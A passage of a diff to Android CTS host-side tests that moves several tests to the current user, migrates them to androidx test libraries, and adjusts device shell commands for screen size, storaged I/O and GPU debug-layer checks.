-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLaunchNonExportActivityFails() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testLaunchNonExportLauncherFails",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 
     public void testLaunchMainActivity() throws Exception {
         if (!mHasLauncherApps) {
             return;
         }
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+        installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testLaunchMainActivity",
-                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+                mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java
index 0b17b17..a5fcf4e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserActivityEmulator.java
@@ -30,7 +30,15 @@
     public UserActivityEmulator(ITestDevice device) throws DeviceNotAvailableException {
         // Figure out screen size. Output is something like "Physical size: 1440x2880".
         mDevice = device;
-        final String output = mDevice.executeShellCommand("wm size");
+        String outputString = mDevice.executeShellCommand  ("wm size");
+
+        // In case that "Override size" follows by separator like 
+        // "Physical size: 1440x2960\nOverride size: 1080x2220"
+        if (outputString.contains("Override")) {
+            outputString = outputString.split(System.getProperty("line.separator"))[1];
+        }
+
+        final String output = outputString;
         final String[] sizes = output.split(" ")[2].split("x");
         mWidth = Integer.valueOf(sizes[0].trim());
         mHeight = Integer.valueOf(sizes[1].trim());
diff --git a/hostsidetests/dexmetadata/app/Android.mk b/hostsidetests/dexmetadata/app/Android.mk
index bb1581d..8d17ebd 100644
--- a/hostsidetests/dexmetadata/app/Android.mk
+++ b/hostsidetests/dexmetadata/app/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt
 
 # Tag this module as test artifact for cts,
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/dexmetadata/app/AndroidManifest.xml b/hostsidetests/dexmetadata/app/AndroidManifest.xml
index 88a8c12..136e403 100644
--- a/hostsidetests/dexmetadata/app/AndroidManifest.xml
+++ b/hostsidetests/dexmetadata/app/AndroidManifest.xml
@@ -21,7 +21,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.dexmetadata" />
 </manifest>
 
diff --git a/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java b/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java
index 8d6e148..fc38c4e 100644
--- a/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java
+++ b/hostsidetests/dexmetadata/app/src/com/android/cts/dexmetadata/InstallDexMetadataTest.java
@@ -25,23 +25,24 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.os.Build.VERSION_CODES;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.ArrayMap;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.ApiLevelUtil;
 
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 /**
  * Device-side test for verifying dex metadata installs.
  */
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
index ff34e63..a772a05 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
 
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index c6e8104..a3df725 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index dd0fb9c..24e72ab 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
index 56cacb5..1a72886 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
@@ -21,6 +21,6 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.server.cts.procstats" />
 </manifest>
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java b/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
index c6836c3..b7771bc 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
@@ -15,17 +15,16 @@
  */
 package com.android.server.cts.procstats;
 
-import static junit.framework.Assert.assertEquals;
 import static junit.framework.TestCase.fail;
 
 import android.content.ComponentName;
 import android.content.Intent;
 import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.mk b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
index 6364855..a1670db 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.mk
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml
index db3d79f..c4b7a7e 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml
+++ b/hostsidetests/dumpsys/apps/storagedapp/AndroidManifest.xml
@@ -25,6 +25,6 @@
         <activity android:name=".SimpleIOActivity" android:label="Storaged Test Activity"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.server.cts.storaged" />
 </manifest>
diff --git a/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java b/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
index 0e54c68..cab23d2 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
+++ b/hostsidetests/dumpsys/apps/storagedapp/src/com/android/server/cts/storaged/StoragedTest.java
@@ -17,8 +17,9 @@
 
 import android.content.Context;
 import android.content.Intent;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
index ca548c8..b0006b4 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
@@ -43,7 +43,7 @@
 public class BaseDumpsysTest extends DeviceTestCase implements IBuildReceiver {
     protected static final String TAG = "DumpsysHostTest";
 
-    private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     /**
      * A reference to the device under test.
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
index 3885f0a..d391b64 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
@@ -122,10 +122,29 @@
                 }
 
                 if (parts[0].equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                    if (Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) {
+                    /*
+                     * order of parts in StoragedService::dumpUidRecords
+                     *  [0] DEVICE_SIDE_TEST_PACKAGE
+                     *  [1] read foreground charger_off
+                     *  [2] write foreground charger_off
+                     *  [3] read background charger_off
+                     *  [4] write background charger_off
+                     *  [5] read foreground charger_on
+                     *  [6] write foreground charger_on
+                     *  [7] read background charger_on
+                     *  [8] write background charger_on
+                     */
+                    if ((Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) ||
+                        (Integer.parseInt(parts[2]) >= 8192 && Integer.parseInt(parts[4]) == 0)) {
                         System.out.print("WARNING: Background I/O was attributed to the "
                                 + "foreground. This could indicate a broken or malfunctioning "
                                 + "ActivityManager or UsageStatsService.\n");
+                    } else if ((Integer.parseInt(parts[2]) >= 4096 && Integer.parseInt(parts[4]) >= 4096) ||
+                                    Integer.parseInt(parts[4]) >= 8192) {
+                        System.out.print("WARNING: charger on I/O was attributed to "
+                                + "charger off. This could indicate a broken or malfunctioning "
+                                + "ADB USB connection, or device that refuses to charge at the "
+                                + "typical 500mA because it is less than 0.05C.\n");
                     } else {
                         assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
                                     Integer.parseInt(parts[8]) >= 8192);
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index 96096fb..c17436b 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -15,15 +15,10 @@
  */
 package android.gputools.cts;
 
-import android.platform.test.annotations.Presubmit;
-
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IDeviceTest;
 
-import com.android.ddmlib.Log;
-
 import java.util.Scanner;
 
 import org.junit.After;
@@ -218,11 +213,14 @@
         setupLayer(LAYER_A_LIB);
         setupLayer(LAYER_B_LIB);
 
+
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|", "run-as", DEBUG_APP,
-                                  "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|", "run-as", DEBUG_APP,
-                                  "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
 
         // Kick off our DEBUG app
         mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
@@ -259,8 +257,9 @@
         setupLayer(LAYER_A_LIB);
 
         // Attempt to copy them over to our RELEASE app (this should fail)
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|", "run-as", RELEASE_APP,
-                                   "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", RELEASE_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
         // Kick off our RELEASE app
         mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
@@ -291,8 +290,9 @@
         setupLayer(LAYER_A_LIB);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|", "run-as", DEBUG_APP,
-                                  "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
@@ -323,8 +323,9 @@
         setupLayer(LAYER_A_LIB);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|", "run-as", DEBUG_APP,
-                                  "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
@@ -355,8 +356,9 @@
         setupLayer(LAYER_A_LIB);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|", "run-as", DEBUG_APP,
-                                  "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
@@ -418,10 +420,12 @@
         setupLayer(LAYER_B_LIB);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|", "run-as", DEBUG_APP,
-                                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|", "run-as", DEBUG_APP,
-                                 "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
+        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+                "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
 
         // Enable layerB with system properties
         mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
diff --git a/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java b/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java
index c93404d..4fc88fa 100644
--- a/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java
+++ b/hostsidetests/harmfulappwarning/src/android/harmfulappwarning/cts/HarmfulAppWarningTest.java
@@ -71,6 +71,9 @@
     private static final String GET_HARMFUL_APP_WARNING_COMMAND = String.format(
             "cmd package get-harmful-app-warning %s", TEST_APP_PACKAGE_NAME);
 
+    private static final String LIST_PACKAGES_COMMAND =
+            "cmd package list packages --user %d " + TEST_APP_PACKAGE_NAME;
+
     private ITestDevice mDevice;
 
     @Before
@@ -104,13 +107,15 @@
     }
 
     private void verifySampleAppUninstalled() throws DeviceNotAvailableException {
-        PackageInfo info = getDevice().getAppPackageInfo(TEST_APP_PACKAGE_NAME);
-        Assert.assertNull("Harmful application was not uninstalled", info);
+        String installedPackage = getDevice().executeShellCommand(
+                String.format(LIST_PACKAGES_COMMAND, getDevice().getCurrentUser()));
+        Assert.assertTrue("Harmful application was not uninstalled", installedPackage.isEmpty());
     }
 
     private void verifySampleAppInstalled() throws DeviceNotAvailableException {
-        PackageInfo info = getDevice().getAppPackageInfo(TEST_APP_PACKAGE_NAME);
-        Assert.assertNotNull("Harmful application was uninstalled", info);
+        String installedPackage = getDevice().executeShellCommand(
+                String.format(LIST_PACKAGES_COMMAND, getDevice().getCurrentUser()));
+        Assert.assertFalse("Harmful application was uninstalled", installedPackage.isEmpty());
     }
 
     /**
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.mk b/hostsidetests/harmfulappwarning/testapp/Android.mk
index 3ab50c4..34854f4 100644
--- a/hostsidetests/harmfulappwarning/testapp/Android.mk
+++ b/hostsidetests/harmfulappwarning/testapp/Android.mk
@@ -26,8 +26,8 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
+    androidx.test.rules \
+    compatibility-device-util-axt \
     ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml b/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml
index 4f6bc69..f686dd7 100644
--- a/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml
+++ b/hostsidetests/harmfulappwarning/testapp/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.harmfulappwarning.testapp" />
 
 </manifest>
diff --git a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
index c81702d..88a3179 100644
--- a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
+++ b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
@@ -16,6 +16,16 @@
 
 package android.harmfulappwarning.testapp;
 
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 import org.junit.After;
@@ -24,15 +34,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.app.Instrumentation;
-import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-
 import java.util.concurrent.TimeUnit;
 
 /**
diff --git a/hostsidetests/incident/AndroidTest.xml b/hostsidetests/incident/AndroidTest.xml
index 641b516..18a73fa 100644
--- a/hostsidetests/incident/AndroidTest.xml
+++ b/hostsidetests/incident/AndroidTest.xml
@@ -16,6 +16,9 @@
 <configuration description="Config for CTS Incident host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="metrics" />
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsIncidentHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index e1518ef..822bb65 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit org.apache.http.legacy
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
index d3e5e26..82b2311 100644
--- a/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/batterystatsapp/AndroidManifest.xml
@@ -66,6 +66,6 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.server.cts.device.batterystats" />
 </manifest>
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index c49a824..9b6c23f 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -24,10 +24,11 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
index e53c213..35b67c9 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsDeviceTestBase.java
@@ -15,21 +15,15 @@
  */
 package com.android.server.cts.device.batterystats;
 
-import static junit.framework.Assert.assertEquals;
-
 import android.content.Context;
 import android.os.PowerManager;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
-import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.net.HttpURLConnection;
-import java.net.URL;
-
 /**
  * Used by BatteryStatsValidationTest.
  */
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
index 527f8bc..e4434e1 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsJobDurationTests.java
@@ -21,9 +21,10 @@
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
 import android.content.ComponentName;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
index 5c72aa4..c57f18e 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsProcessStateTests.java
@@ -15,12 +15,11 @@
  */
 package com.android.server.cts.device.batterystats;
 
-import android.app.Notification;
-import android.app.NotificationManager;
 import android.content.Intent;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
index daa6f5e..927010e 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsSyncTest.java
@@ -18,8 +18,9 @@
 import android.accounts.Account;
 import android.content.ContentResolver;
 import android.content.Context;
